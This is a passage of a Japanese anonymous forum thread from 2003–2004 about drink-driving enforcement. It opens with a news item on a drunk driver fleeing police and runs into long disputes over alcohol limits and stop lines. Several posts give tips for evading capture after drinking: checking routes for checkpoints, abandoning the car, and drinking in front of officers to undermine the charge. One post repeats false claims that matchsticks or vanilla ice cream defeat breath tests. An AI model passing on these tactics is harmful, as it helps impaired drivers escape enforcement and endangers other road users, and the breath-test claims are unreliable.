振り切り、100キロを超える速度で逃走。信号無視や一時停止違反を繰り返して市内を約10キロ逃げ回り、約20分後に
同市久原の県道で道路脇に脱輪して停車した。宗像署は、運転していた福岡市博多区美野島2、神官、都甲伸二
容疑者(23)を道交法違反(酒気帯び運転など)の現行犯で逮捕した。

調べに対し、都甲容疑者は「同乗していた小・中学校の同窓生と酒を飲んでいたので、逃げた」と供述しているという。

http://www.yomiuri.co.jp/main/news/20031230i202.htm


107 :名無しさん@お腹いっぱい。:03/12/31 01:10 ID:???
普段の運転でも振り切れないのに酒が入っていた状態の運転で
逃げ切れると思っているのだろうか?

その時はそう思っちゃうんだろうなぁ・・・

そう思わせる酒の影響って怖いね

108 :名無しさん@お腹いっぱい。:03/12/31 06:42 ID:9kHRiIwL
>>107
結局のところ、人格の問題なんだろうね。
大部分の人は、飲んでる時は普段より慎重に運転する。
でも、飲んでると本能のままに暴走する人も、少数とはいえ存在する。
もちろん素面でも無茶をする人は居るのだが、そういう人は酒を飲むともっと無茶をする。
酒気帯び運転者が全員危険だとは思わないけど、やっぱり一律に取り締まらざるを得ないのかな〜。


>>荒らし君
それにしても、ここでお絵描き荒らしにいそしんでる人って・・・
酒気帯び運転を本当に無くしたいなら、きちんと筋道立てて論ずれば良いのだが、あんな幼稚な荒らしばかり頑張っても、却って酒気帯び撲滅派の印象を悪くすると思うのだが・・・
「酒気帯び反対派=荒らし」って印象持たれたら、真面目に酒気帯び反対を謳えても、「また出た〜」って思われるだけで誰もマトモに受け取らなくなるよ。


109 :名無しさん@お腹いっぱい。:03/12/31 15:55 ID:kXdPpH7E
>>108

>飲んでる時は普段より慎重に運転する。

規定値以上の酒飲んでいるヤツが、慎重に運転してても危ないだろ。
とにかく、自己申告の「酔ってない。」はアテにならないから



110 :名無しさん@お腹いっぱい。:04/01/01 03:14 ID:rBDPfxG7
>>109
何とも言えないな。

良識あるドライバーという前提で、少量の酒気を帯びていた場合。
反応速度が遅くあるのは明らかにマイナス。
ただ、普段よりも慎重に運転する筈なので、その分はプラス。
アルコール摂取量が少なければ、差し引きどっちが多いか微妙ですね。

現在は酒気を帯びて運転することは無いけど、若い頃(今でも若いけど-W)の経験から考えて見ます。
まず、車間距離を普段より多めに取って、減速すべき所ではいつもより早めに減速するのは当然。
それで、酒気を帯びる事によって増大する危険の大部分は相殺出来る筈。

問題は、前兆の無い危険に対処する能力は確実に落ちる事。
前兆が無ければ事前に減速するなどの対応は不可能だから。
走ってる間ずっとゆっくり走ればこの点はフォロー可能だが、交通の円滑を乱す。

尚、酒量が増えると判断力の低下という問題が大きくなる。

結局、良識のある人が少量の酒気を帯びてるだけならそれ程事故の危険は増大しない。
問題は二つ。
一つ目は、良識のある人ばかりではないという点。
二つ目は、少量の酒気を帯びた運転を許可すると、「これ位いいや」と言って比較的沢山飲んでる人まで運転する可能性がある。

111 :名無しさん@お腹いっぱい。:04/01/01 03:41 ID:rBDPfxG7
酒気帯び運転を熱心に取り締まる事自体は反対する訳ではありません。
酒気帯び・飲酒の取り締まりに関しては、スピード違反や駐禁みたいに「反則金・罰金目当て」では無く、本当に事故防止を考えての事だと思います。
ただ、警察は事故の危険は考えても、ドライバーが蒙る不便は一切考慮してないように思えます。
まあ、そんな事は国土交通省の仕事だから関係ないという事でしょうが。

結論としては、熱心に取り締まるのも厳罰主義も良いのですが、0.15基準は厳し過ぎると思います。
原則は0.15基準で、次のような例外を認めるというのも一つの方法だと思います。
*0.35(現行13点基準よりちょっと上)までOK
*但し、一定の精度を持ったアルコール量検知機を備えた車両に限る。
*乗車前に当該検知機で調べて、測定結果を運転中備え置き、警察官から要求があったら直ちに提示する。
理由 なし崩し式に「これ位なら大丈夫だろう」というのを心理的に抑止する為。
測定して0.35以上出たら、「検問に引っかかったら捕まる」という事がはっきりする訳で、大部分の人は運転を思いとどまると思われる。

さて、酒気帯びはお勧めしませんが、どうしてもやる方の為に、少し捕まるリスクを減らす方法にも触れておきます。
飲み屋街の駐車場から大通りまでの道路は、乗る前に歩いて検問の有無を確認。
いわゆる抜け道や、逃げ場の無い道は避ける。
あなたには逃げるつもりがなくても、逃げる人も居る以上逃げ場の無い道は警察にとって狙い目です。
最近はそうでない所も結構ありますが、上記の道路が特に危険である事は確かでしょう。
あと、よく雑誌とかでは「先のほうに検問を見つけたら、車を放置して歩いて帰る。あとで見つけた警察が駐車違反で切符を切っても駐車違反ですむ」なんて方法が紹介されてますね(w
勧める訳ではありませんが。
あと、110で書いた事故に対する安全策は、必ず実行して頂ければと思います。
あくまで、酒気帯びはやらないに越した事はありません。

112 :名無しさん@お腹いっぱい。:04/01/01 17:38 ID:t70vtSBD
問題はもう一つ。
110を読んで、自分は良識ある人間だから…と勘違いする奴がいること

113 :名無しさん@お腹いっぱい。:04/01/01 17:54 ID:74WciFlh
>>111
>ドライバーが蒙る不便は一切考慮してないように思えます。

信号で待つ不便。
一時停止する不便。
道路に駐車できない不便。
制限速度で走る不便。
ヘルメットをかぶる不便。
原付に一人しか乗れない不便。

警察は配慮しろってことか?




114 :名無しさん@お腹いっぱい。:04/01/01 19:51 ID:VSBU+D54
検問で止められたら窓を開ける前に警察官の目の前で酒を飲む。
そうすると運転中に酒を飲んだのか今初めて酒を飲んだのかわからなくなってしまうので立件が難しくなる。

よく聞く話だが本当なのか?

115 :名無しさん@お腹いっぱい。:04/01/01 21:33 ID:???
>114
実際にやってみそ。


116 :名無しさん@お腹いっぱい。:04/01/01 21:35 ID:DaRA4Dx6
>>113
可能な範囲で配慮すべきでしょう。
>>信号で待つ不便。
夜間など、意図的に信号を連結させていないと思われる事例が多く見られます。
速度抑制の為と言われてますが、やめて欲しいですね。
>>一時停止する不便。
信号自体は必要な規制です。
一時停止が必要な所で一時停止させるのは、必要な規制です。
ただ、中には必要以上に停止線が後ろに引かれている事もあります。
交差道路の歩道より前で停止というのは分かりますが、更に前に停止線を引くのはやりすぎです。
>>道路に駐車できない不便。
原状では、ほとんどの道路が駐車禁止ですよね。
やりすぎだと思います。
本当に危険であったり、或いは交通を阻害する場合に限定すべきですし、そういう場合はきちんと取り締まるべきです。
>>制限速度で走る不便。
現状の速度規制は、明らかに過剰だと思います。
歩道の整備された道路などは、もっと緩和すべきです。
>>ヘルメットをかぶる不便。
>>原付に一人しか乗れない不便。
これは、緩和すると危険でしょう。
やむを得ない範囲の規制だと思います。
要は、「規制をすることによってドライバーが不便を蒙る」という認識が有るのかどうかの問題ですね。
そういった意識があれば、「本当に必要な規制か?」という事をしっかり考えて、必要な規制は残し(又は作り)、不要(過剰)な規制は廃止(緩和)するという事になると思います。
「どうせドライバーの不便なんて関係無い」「考えられる安全規制は全部やっとけば一番確実だろう」という考え方はやめて欲しいです。

117 :名無しさん@お腹いっぱい。:04/01/02 01:34 ID:???
警察の取り締まり甘いだろ。

酒帯だろうが、酒酔いだろうが即タイーホで、酒酔いは殺人未遂で良し!

118 :名無しさん@お腹いっぱい。:04/01/02 03:26 ID:W5ixZ8yL
>>117
>>警察の取り締まり甘いだろ。
どこが甘い?

>>酒酔いは殺人未遂
無茶言うな(w

119 :名無しさん@お腹いっぱい。:04/01/02 07:35 ID:???
>>116
つまり
俺の判断>>>>>>>>法律・規則
ということで
「俺は神、俺の判断は神の采配」

*まあ、「神様」がいっぱいいるのが2chだから

ということですな

120 :名無しさん@お腹いっぱい。:04/01/02 08:08 ID:CyqgawZA
>>119

飲酒運転ができない=ドライバーが蒙る不便
警察は配慮しろ!

というヤツだから。


121 :名無しさん@お腹いっぱい。:04/01/02 11:51 ID:???
>116みたいなヤツに免許を与えて運転を許可している行政に問題ありだな。

122 :名無しさん@お腹いっぱい。:04/01/02 20:05 ID:???




123 :名無しさん@お腹いっぱい。:04/01/02 21:15 ID:yt/96hHF
>>119
現状の制度について色々な人が色々な意見を持ち、その集合体が世論になって制度を変えて行くのが民主主義国家ではありませんか?
制度が合理性を欠いていれば、それを変える事を提言するのは当然では?
現在の法律や制度に対する批判はご法度とでも?
それじゃーどっかの半島の国(北半分の方ね)と同じじゃん(w

内容について反論した方が、余程説得力があると思いますが。

124 :119:04/01/02 22:54 ID:A7BBtraQ
>>123
>内容について反論した方が、余程説得力があると思いますが。
現行の法制度をロクに理解もせずに
見たまま、感じたままの書き散らしにイチイチ反論してるほど
世の人はヒマではありません。

あたたのやってることは「オシエテ君」と一緒ということです
わからないことがあったら、まず調べる
基本ですね




125 :名無しさん@お腹いっぱい。:04/01/02 23:11 ID:oVyROcbM
>>124
>>現行の法制度をロクに理解もせずに
>>見たまま、感じたままの書き散らしに
どうしてそう思うのですか?

>>イチイチ反論してるほど世の人はヒマではありません。
反論するかどうかはあなたの自由ですが、反論するなら少なくとも理由を言うべきでは?
理由も言わずに人の意見を批判するのでは、あなたの言う事をマトモに受け取る人は少ないと思いますよ。
それで構わなければ、それこそあなたの自由ですが。

126 : :04/01/03 07:01 ID:???
>>125
>>反論するかどうかはあなたの自由ですが、
>>反論するなら少なくとも理由を言うべきでは?
そうだね、で
>>116
には「まともな理由」が書いてないよ
よ皆さん言っているのでは?

127 :126:04/01/03 07:04 ID:???
まちがえたな
>よ皆さん言っているのでは?
ではなく
「と皆さんは言っているのでは?」
だね




128 :名無しさん@お腹いっぱい。:04/01/04 06:52 ID:/b6TpgfL
>>126-127
では、1点ずつ分かり易いように理由を説明します。
>>一時停止する不便。
必要以上に停止線が後ろに引かれている事は、必要以上にドライバーに負担を強いる行為であり、不要だからやめて欲しいと言う事です。
交差道路の歩道よりも、かなり手前に停止線を引く合理的理由があれば別ですが。
>>道路に駐車できない不便。
原状ではほとんどの道路が駐車禁止だという点については、渋滞を誘発する可能性の低い場所の短時間駐車ならば路上駐車を認めた方が、自動車の利便性を高める事にもなります。
更に、現状では交通渋滞が発生するとは思えないような裏通りで、しかも車両の通行を妨げない幅員の場所でも駐車禁止となっており、これでは点数目当ての取締りと解釈するのが普通ではないでしょうか。
最も典型的な例としては、パーキングメーター時間外の取締りが挙げられます。
>>制限速度で走る不便。
現状の速度規制は、明らかに過剰だと思います。
歩道の整備された道路などは、もっと緩和すべきです。
現状では多くの車が法定速度を超える速度で走ってます。
仮に法定速度を超える速度が本当に危険だとすると、多くのドライバーが間違った判断をして、一部の警察官僚が正しい判断をしているという事でしょうか?
>>信号で待つ不便。
夜間など、意図的に信号を連結させていないと思われる事例が多く見られます。
速度抑制の為と言われてますが、上記の通り「速度抑制」の前提になる法定速度自体が過剰なものだと思われるので、「速度抑制」自体が不要という事になります。
ヘルメットと原付2人乗りについては、既述の通り現状で良いと思います。

129 :名無しさん@お腹いっぱい。:04/01/04 14:17 ID:Mefy0nmy
>>128
いや、だから
言い換えても何の意味も無いって(w)

130 :名無しさん@お腹いっぱい。:04/01/04 18:15 ID:???
>>128
いくら説明しても無駄だよ。
124や129は、マトモに議論しても勝ち目が無いので、まともな理由が書いてないと言って逃げてるだけだから(w
そうでなきゃー、もっとマトモな反論するでしょ。

>>124
関係者乙(w

131 :名無しさん@お腹いっぱい。:04/01/04 18:34 ID:Mefy0nmy
>>128
例えばね、
>必要以上に停止線が後ろに引かれている事は、
>必要以上にドライバーに負担を強いる行為であり、
>不要だからやめて欲しいと言う事です。

というからには
ttp://www.okakoku-mlit.go.jp/news/2002/ai-line/
程度のことは頭に入れて欲しいということ
*ちなみにYahooで「停止線」で検索した6番目ね
例えばこの例では横断歩道の5m手前に
停止線を引いている、これは貴方の言うところの
必要以上なのか?そうでないのか?

必要以上というなら具体的実証をもって反証すべきだし
そうでないのなら「必要以上の実例」をあげるべきだろうね

「具体的」とはそういう風にやるんだよ
誰かさんのアタマの中だけではなく


132 :名無しさん@お腹いっぱい。:04/01/04 20:59 ID:HFlQvjIO
>>131
128では、一時停止の停止線について言ってるのですが・・・。

>>ttp://www.okakoku-mlit.go.jp/news/2002/ai-line/
は、信号機で交通整理の行われる交差点ですよね。
そのような事例については、URL先にあるように5メートル手前に停止線を引いても構わないと思います。
上記URLは大規模な交差点ですが、幅員の比較的狭い道路でも同じ結論になります。
その場合は、信号待ちの車が、交差道路から右折で進入して来る車の邪魔になる可能性があります。
その際信号待ちの車が後退しようにも、後続車があって後退出来ない可能性があります。
その為、停止線をかなり手前に引く必要があるでしょう。

ただ、一時停止標識に伴う停止線に関してまで手前に停止線を引く必要があるかどうかとは、全く別の話です。


133 :名無しさん@お腹いっぱい。:04/01/04 21:06 ID:Xeyq+m+Z
酒でも飲まんと女口説いてドライヴもようせんです

134 :名無しさん@お腹いっぱい。:04/01/04 21:31 ID:???
 

135 :名無しさん@お腹いっぱい。:04/01/04 21:33 ID:fb3gze5x
>>133
霞ヶ関や桜田門の高級取りなら、きっとこう言うよ。
「タクシーを使いなさい」「タクシーで雰囲気が出ないなら、ハイヤーを雇いなさい。半日たった三万円でしょー」なんてね(w


136 :名無しさん@お腹いっぱい。:04/01/04 21:58 ID:???
>>131
ようやくマトモな反論が出て来たと思ったのだが・・・。
信号機の事例じゃん(w
128は一時停止について書いてるのに、全然違うだろ。

137 :名無しさん@お腹いっぱい。:04/01/04 22:19 ID:Xeyq+m+Z
つまり、殺人現場に居合わせて、殺すのを目撃してから現行犯逮捕する
ということだ。


138 :名無しさん@お腹いっぱい。:04/01/04 22:54 ID:Mefy0nmy
>>132
> >>131
>
> その場合は、信号待ちの車が、交差道路から右折で進入して来る車の邪魔になる可能性があります。

で、わざわざ「 横断歩道と停止線の距離を従来より長くとることにより、
横断歩行者の圧迫感を少なくし、安心して横断できるよう
また車両の前方視界を広くすることにより事故防止に寄与することを目的として」
とかいてあるのは何故だと思う?
左折進入車を考慮するんだったら従来の2mで充分なんよ
 
「交差道路の歩道より前で停止というのは分かりますが、
更に前に停止線を引くのはやりすぎです」でしょ?あーたの主張は?

”交差点以外の”一時停止の停止線も同様

これは貴方の言う「やりすぎ」の事例に該当するのではないの?
それとも他の事例があるなら具体例を示せといってるの

139 :名無しさん@お腹いっぱい。:04/01/04 23:07 ID:Mefy0nmy
>>138

> 左折進入車を考慮するんだったら従来の2mで充分なんよ
>  
「右折進入車」の間違いだね

あと信号待ちのクルマも
当然停止線で停止するんだよね
信号待ちのクルマは
停止線をはみ出していいなんて
ことは無かったと思うが?



140 :名無しさん@お腹いっぱい。:04/01/05 00:27 ID:8YFXjLPc
>>138
一時停止の場合、手前で止め過ぎると2度3度と停止する破目になります。
平原の中の交差点なら別ですが、通常街中の交差点では見通しが悪い事が多いですから、随分手前で停めても左右の確認が出来ず無意味となり、何度も停止する事になります。
つまり、一回目の一時停止の意味が無くなってしまう訳です。

更に付け加えれば、無意味な停車を繰返させる事により、本当に必要な2度目・3度目の停車がおざなりになりやすい事も懸念されます。
「それは、おざなりにする方が悪い」というのは簡単ですが、わざわざ無意味な停車を繰返させて、本当に必要な停車がおざなりになり易い状況を作り出す必要はないでしょう。

ところが信号待ちの場合は、青に変わるのを待つための停止ですから、停止位置で交差道路の通過車両(含歩行者)が見えるかどうかはそれほど問題になりません。
それであれば、停止線を5mくらい手前に引いても構わないと思いますよ。
また、停車時間が一時停止に比べて長いので、「横断歩行者の圧迫感を少なく」する効果も大きい訳です。
それに、131のURLのような歩道の整備された幹線道路の交差点なら左右に遮蔽物がないので、「車両の前方視界を広くする」効果もあるでしょうね。

141 :名無しさん@お腹いっぱい。:04/01/05 06:52 ID:wZjluaRC
>>140
だからそのケースの具体的な事例を示せと(w)

貴方の頭の中にあるだけのナニカには
誰にも賛同できないの
無論反論も出来ないが

1)「交差道路から右折で進入して来る車の邪魔になる可能性」
を考慮したものとは思われない過大な後退距離で

2)信号も無ければ横断歩道も無い街中の交差点

「1)」「2)」を共に満たす「一時停止線」の
事例を知ってるんでしょ?


142 :名無しさん@お腹いっぱい。:04/01/05 19:02 ID:/ffybd5+
>>141
>>1)「交差道路から右折で進入して来る車の邪魔になる可能性」
>>を考慮したものとは思われない過大な後退距離で
いや、そうではありません。
「右折で進入して来る車の邪魔」を考慮すべきと言ってるのは、あくまで信号待ちの交差点に関してです。
一時停止についてではありません。
きちんと読んで頂ければ分かると思いますがね。
っていうか、138で引用された中にも「信号待ちの車が」ってきちんと入ってるんですが・・・。

>>141
(具体例)
場所   現況住宅地域
当該道路 4メートル道路、一時停止
交差道路 (約)5メートル道路
四つ角  ブロック等による塀、但し左前方のみ植え込み(見通し効かず)
停止線  左右手前角より4メートル程手前に有る
尚、信号機は無し
市町村名等は、公開の掲示板なので省かせて頂きます。

一例を挙げれば、こんな感じです。
あなたのお住まいの所にも、恐らくあると思いますよ。
もっとも、農村にお住まいとか、逆に区画整理が非常に行き届いた街にお住まいでしたら無いかもしれませんが。
特に、区画整理の行き届いていない住宅地とかには多いですよ。

143 :名無しさん@お腹いっぱい。:04/01/05 20:29 ID:???
今度は、証拠写真を出せとか言うのではなかろうか(-_-;

144 :名無しさん@お腹いっぱい。:04/01/05 21:44 ID:???
スレ違いヨソでやれ。


145 :名無しさん@お腹いっぱい。:04/01/05 22:31 ID:dtc70BHJ
>>144
スマソ。
113に反論して以来、話が広がり過ぎた。

>>141
もし内容的な反論があるのでしたら、別スレを立てます。
具体性がないとか、マトモな理由じゃないとか、証拠写真を出せとか言う話なら、別スレ立ててするような話でもないと思いますが。

>>113
一時停止以外の点に関しては、異議無しという事ですか?
特に、本来の酒気帯びに関して。

146 :141:04/01/05 22:36 ID:wZjluaRC
>>142
>「右折で進入して来る車の邪魔」を考慮すべきと言ってるのは、
>あくまで信号待ちの交差点に関してです。
うーむ、それは信号の有る無し関わらず考慮せんと
危ないのではなかろうか?
・・・というのが個人的感想ですし、道交法50条でも
信号の有る無しで停止線の効果の区別はしてません
後段の例にたいしても同様
普通車一台分の余地というのは大型車両等の
右左折時を考慮したと考えられます。

で、貴方は「そういう考慮は合理性が無い」
とおっしゃる、そういうことですな


147 :141:04/01/05 22:47 ID:wZjluaRC
ああ
「酒気帯びに関して。」のスレだったね
まあスマソ、けどこの件も同様だと思うよ

少なくとも警察が言うところでは飲酒運転の
取締りを厳しくした結果「一定の成果」が出ている
のだから、
(飲酒運転取締りに)「合理的理由が無い」
というにはそれ相応の実証が無いと
屁理屈と受け取られてもしゃーないわな


148 :名無しさん@お腹いっぱい。:04/01/05 23:49 ID:lhSK3EbC
>>146
スレ違いとのお叱りもあったので手短に。
一時停止だと、一旦4メートル手前とかで停まっても、その後歩道の手前まで前進してる途中で右折車が進入して来たら結局後退する事になり、意味がないと思います。
だから、停止位置は歩道の手前ぎりぎりで、丁度のタイミングで右折車が来たら後退するしか無いんじゃないでしょうか。
一方信号待ちだと、右折車の邪魔にならない所で停車してないと、通常後続車が並んでしまうので、後退が出来なくなり「進退極まる」事になります。
また、発車の為に前進を開始し始めた所で右折車が進入して来るような事もないでしょう。

>>147
(飲酒運転取締りに)「合理的理由が無い」というには・・・
いや、別に飲酒取締り全廃を主張するつもりはありませんよ。
111にも書いたように、「一杯でも飲んだらその日は運転するな」というのは如何なものかと思う訳です。
ベロベロに酔っ払って運転してる人は、勿論取り締まるべきです。
>>それ相応の実証が無いと・・・
確かに一個人である私は、コースを借り切って実験して見た事は無いが・・・。
自分自身の経験や、周りの実例などから考えてる訳です。
これがイカンと言われると、高価な実験設備を保有している団体以外はお上に物を言えなくなってしまうのですが。


149 :名無しさん@お腹いっぱい。:04/01/06 00:03 ID:qr+AVuwI
個人差もあると思うが、一杯飲んだだけで判断力まで大幅に低下する人は少ないと思います。
反応速度の低下は少量でもある程度発生しますが、>>110-111で提言した方法を実行すれば、危険の増加は最小限に出来る筈です。
全面禁止が最も確実な方法だとは思いますが、やはり利便性との兼ね合いも考慮すべきでは?

文字通り「人命は地球より重い」と考えると、エアバックも義務化すべき、不要不急の自動車利用も禁止すべきなどという極端な話になりかねません。
やっぱり、「人命」も含めて色々な要素を勘案して、そのバランスの中で政策は決められるべきではないかと思うのですが。

宴会等で一杯目は飲んでも二杯目以降は車なので辞退、正月は御屠蘇の一杯は飲んでもそれ以上は飲まない。
それでいいのではないでしょうか。
勿論、一杯のつもりが二杯・三杯・・・では困りますが、そういった事を抑止する方法も>>110-111で提言してます。

現行のやり方は、利便性の部分を一切考慮せずに、「とにかく一番確実な方法を」「利便性は警察の管轄ではない」といった考え方が垣間見えて来ます。
もう少しバランスを取っても良いのではないかと思うんです。


150 :148=149:04/01/06 00:13 ID:qr+AVuwI
ここは「交通違反のもみ消し方」板の「酒気帯び」スレですから、酒気帯び運転のもみ消し方のスレでしょう。
また、酒気帯び運転で捕まらない方法も含むと思われます。
でも、べろんべろんに酔っ払って運転しても捕まらない方法を考えてレスしようとは思いません(←もっとも、レスしようにもそんな方法は思いつきませんが-w)。

ただ、一杯か二杯飲んだだけで13点取られるのはやっぱり「気の毒」だと考えざるを得ませんし、そういった場合の「逃れ方」について話を出来るスレは、やっぱり有意義なスレだと思うんですけどね。
まあ、べろんべろんに酔ってれば逃れる事自体が、多分無理だと思います。
ふらついてれば検問を避けても追尾式に掛かりますし、その場でごねて時間を稼いでもすぐには抜けないでしょう。

ですから、「べろんべろん運転」の方が悪用する危険は少ないと思いますよ。
そういった方の役には立たないですから。

151 :名無しさん@お腹いっぱい。:04/01/06 00:17 ID:h38U9yVJ
飲酒で、おまわりさんに つかまったとき
車から 降りた後ポケットから ウィスキーとか取り出して

目の前で グビグビノンじゃえば、 アルコール反応でて 当たり前だから
飲酒運転にならない。

てのはだめかな?



152 :あぼーん:あぼーん
あぼーん

153 :141:04/01/06 00:58 ID:bzFHbKo1
だからね・・・・

>>148
での
>自分自身の経験や、周りの実例などから考えてる訳です。
イコール
「見たまま、感じたままの書き散らし」でしかないのよ

おまけにいきなり
>これがイカンと言われると、高価な実験設備を保有している団体以外は
>お上に物を言えなくなってしまうのですが。
ですか・・・
貴方が今目の前にしてるものは何?
YahooやGoogleで調べようという発想は無いの?
少なくともワタシはものの5分で
ttp://www.npa.go.jp/comment/kouki1/kagami.htm
を見つけたけどね
*役所はみーんな秘密主義
*なんて考えてるとでも?


154 :141:04/01/06 01:09 ID:bzFHbKo1
あと、ついでにこんな資料もすぐ見つかった
ttp://www8.cao.go.jp/survey/h15/h15-koutu/index.html
交通安全に関する世論調査
ちゃんと飲酒運転に関する項目もあるよ

155 :名無しさん@お腹いっぱい。:04/01/06 01:42 ID:qr+AVuwI
72 :名無しさん@お腹いっぱい。 :03/12/11 02:35 ID:fNu/Rp8O
飲酒運転は検査する前に警察の目の前で酒を飲めば運転してた時の
アルコール量が測れなくて違反にならないって聞いたんですが
果たしてこんなの通用するんでしょうか?

以下別スレからのペースト

75 :名無しさん@お腹いっぱい。 :03/12/11 23:26 ID:KNP9IxN3
>>72
法律板で訊いて来ました。

(以下コピペ)
理屈の上は一応はそうだね。
酒飲む前にちゃんとエンジン切るんだよ。
でまあ、実際的な話をすると
それをやって警官に殴られたという相談を受けたことがある。
他には、その場で公務執行妨害でつかまったとか。
(どっちも違法だが厄介なのは間違いない)
直ちに採血されて結局駄目だったというのもあるし、
目の前で飲んだ量と、血中アルコール濃度が相応しなかったために、


156 :名無しさん@お腹いっぱい。:04/01/06 01:43 ID:qr+AVuwI
駄目だったというのもある。
あと、車をおいて帰らなくてはいけないのが問題かな。
(以下別のコピペ)
ダメ。
この前それやって検察が躍起になって検挙してたよ。
酒気帯びを隠蔽工作で立件を妨害したとして
悪質と判断されてかなり重い罪になっていたよ。
判例が出来たから今後はムリだと思う。
あと、
>公務執行妨害は成立しないんでしょうか?
これは殴られたと同様に違法で、
公務執行妨害は成立しないが
公務執行妨害とこじつけられて引っ張られたんでしょうね。
(コピペ以上)

お二人の話を総合すると、以前は可能だったようですが、判例が出ているとの事なので今後はちょっと難しいという事かもしれませんね。
いずれにしても、もしやるなら事前に判例を調べてどのように立証したのか確認した上でやらないと、検察がもし立証に成功すると「重い罪(法定刑の範囲ですが)」に問われる可能性があるようです。
なお、公務執行妨害は成立しないという点に関しては一致しているようです。

157 :名無しさん@お腹いっぱい。:04/01/06 01:44 ID:jyTcjF96
>>1
あたしのお父さんの友達はいつもお酒を飲んだ時マッチ棒を
口に含んで噛み噛みするとひっかからないと言ってました。後バニラ
アイスを食べると反応が出ないらしいです。見るからに酔っ払っていても
バニラアイスを片手に持ってるとバニラアイスを食べれば反応が出ないことを
警察も知っているのか素通りさせたという話も聞いたことがあります。
実証済みではないのでなんとも言えませんが・・・

158 :名無しさん@お腹いっぱい。:04/01/06 01:48 ID:qr+AVuwI
>>151
155-156は、151へのレスです。
分かりにくくなってしまってスマソ。


159 :名無しさん@お腹いっぱい。:04/01/06 02:40 ID:DiVFH2Lw
>>153
>>イコール・・・
人が物事を判断する際には、自分自身の経験や周囲での実例などから判断しませんか?
そういったものに基づいて人は意見を持ち、そうして持った意見を出し合うのがイカンのですか?
大体この板自体が、経験や周囲での実例で成り立ってる部分が大きいと思います(全部ではありませんが)。
まあ、それ自体がイカン事だと言われればそれまでだが(w

>>ttp://www.npa.go.jp/comment/kouki1/kagami.htm
制度の改正に意見を投稿出来る事なら知ってますよ。
私自身、そういったものを見つけたら投稿するようにしてますし、大いに意見は言うべきでしょうね。

>>世論調査
アンケートの結果99%に人が飲酒運転はいけないと考えてるという話は、以前新聞でも報道された事があります(そのアンケートと同一の調査かどうかは不明ですが)。
私の知る限りでも、5大新聞のうち3紙で報道されてました。
ところが、「面接方式」で行われたという点を掲載していたのは1紙だけでした。
何故なんでしょうね。
わざわざ警察に反対するような事を言いにくいような方法でアンケートを取り、結果を報道して、そのアンケート方法については1紙を除いて報道していない・・・。
意図的な世論操作が行われているとは思いたくありませんし、中立であるべき新聞が仮にもその片棒を担いでいるなど、想像したくもない事です。
でも、そんな意図が無いなら、何故わざわざ「面接方式」なんでしょうね。
中立的な意見を求めるなら、当然避ける方法だと思いますが。

160 :名無しさん@お腹いっぱい。:04/01/06 02:43 ID:DiVFH2Lw
(訂正)



>>154
>>世論調査



>>世論調査

「世論調査」だけは、153でなく154へのレスです。
失礼しました。

161 :名無しさん@お腹いっぱい。:04/01/06 06:44 ID:G1AYGlKc
この前原チャ乗ってたら、いきなり停められて検査された…
飲んでないのに検知器はすごい反応。
しまいにゃ、風が強いからって警官の顔にハァ〜もさせられて、
それでもわからんからパトカーに乗せられてハァ〜
させられて、やっと帰してもらえた。。。
セクハラされたキブンになった…
検知器の誤作動なのか、あんなに反応したのは
なんやったんやろう…

162 :名無しさん@お腹いっぱい。:04/01/06 06:48 ID:G1AYGlKc
最後に『こんな夜中に若い子がウロウロしたらアカンぞ!』
って言われた。。。原チャに乗って帰宅しとるとこやったのに。

文句の一つでも言ってやりゃヨカッタ。。。

オッサンの顔にハァ〜いっぱいさせられたの思い出してムカムカ


163 :141:04/01/06 07:41 ID:bzFHbKo1
>>159
だとすれば、その「判断」も
それなりの評価しか受けないでしょうね。

後段に”「世論調査」が疑わしい”
と読み取られかねない書き方をしていますが
その根拠は貴方の想像によるものでしょ?

それこそ疑問があるなら問い合わせればよろしい

それを行わずにタダひたすら推論に頼るなら
その「疑わしさ」もそれなりのものでしかない

世に言う「トンでも本」「トンでも科学」と同じ発想なんですよ

ですから
>>124
になるのですがね

164 :名無しさん@お腹いっぱい。:04/01/06 15:47 ID:U7K4dIBP
>>163
>>その根拠は貴方の想像によるものでしょ?
明確な事実に基づく合理的な推論は、明確な事実そのものに近い蓋然性を持つと思うのですが。
どちらにしても、「合理的な推論」だけでなく、その基になった「明確な事実」(新聞報道)についても説明している訳ですからね。
読んだ方が、別の推論を合理的と考えるのは自由です。

例えば、そのアンケートを取った方が「面接法こそは公正なアンケート方法だ」と考えていたという事も、絶対にあり得ないとは言えません。
非常に可能性がの低い事だとは思いますが(w

>>世に言う「トンでも本」「トンでも科学」と同じ発想なんですよ
客観的事実を提示して、更にそこから一定の推論をして、両方を発表する。
掛けている手間や資金は違っても、基本構造はマスコミのやってる事と同じです。
推論が全て「トンでも本と同じ」ようなものだとすると、マスコミの「社説」なども「トンでも本と同じ」という事になりかねません。

あとは、「この根拠から世論操作を疑うのは妥当だ」と考えるか、「妥当ではない」と考えるかの問題でしょう。
私としては普通は前者の考え方をすると考えてますが、あなたはそう思わない。
それでいいんじゃないですか?
もし後者の考え方をする人が多ければ私の書き込みは何の影響も与えない訳で、あなたが気にされる必要はないと思いますよ。

165 :名無しさん@お腹いっぱい。:04/01/06 19:08 ID:OYkJvHwv
>>163
要するに反論できないんだろ
少しは頑張ってくれると思ったんだが・・・
一度も内容について触れずに終わりか(藁

166 :141:04/01/06 19:51 ID:ORV6snKC
>>164
>明確な事実に基づく合理的な推論は、
>明確な事実そのものに近い蓋然性を持つ
>と思うのですが。
「トンでも科学」論者の常套句ですな
推論はあくまで推論でしよう
その推論がどれだけ「合理的?」なものであっても
矛盾で不明点だらけの「事実」の方が重じられます。
※にしても、「理論的な推論」というのは
※聞きますが
※合理的推論というのはあまり・・・・



167 :164:04/01/06 20:50 ID:eLVcJ97J
>>166
>>「事実」の方が重じられます。
で、あなたの言う事実というのは何ですか?
これまであなたが引用して来られたURLは、話してる内容とは関係の無いものではなかったですか。
一時停止の停止線の話をして居る時に、信号機付き交差点の例を挙げて来られたり・・・。
事実なら何でも良いのですか?
ただ事実を並べれば、話の内容と関係が有っても無くても関係ないとでも?
そこまで飛躍した考え方をされると、私のような凡人にはついて行けませんね(w

>>合理的推論というのはあまり・・・・
合理的でないというのでしたら、どのように合理的でないのかきちんと主張されてはいかがでしょう?
基になった事実も、推論に到った経緯も明記してる訳ですから、もし合理的で無い部分があるなら容易に指摘出来る筈ですが。
ただ「マトモでない」とか「トンでも科学だ」などと、同じような事を何の根拠も示さずに繰返すあなたの言い方では、なかなか説得力を持たないと思いますよ。

面接方式のアンケートが公正なものだと言いたいのでしたら、何故頑なにその根拠を示さないのでしょうか?
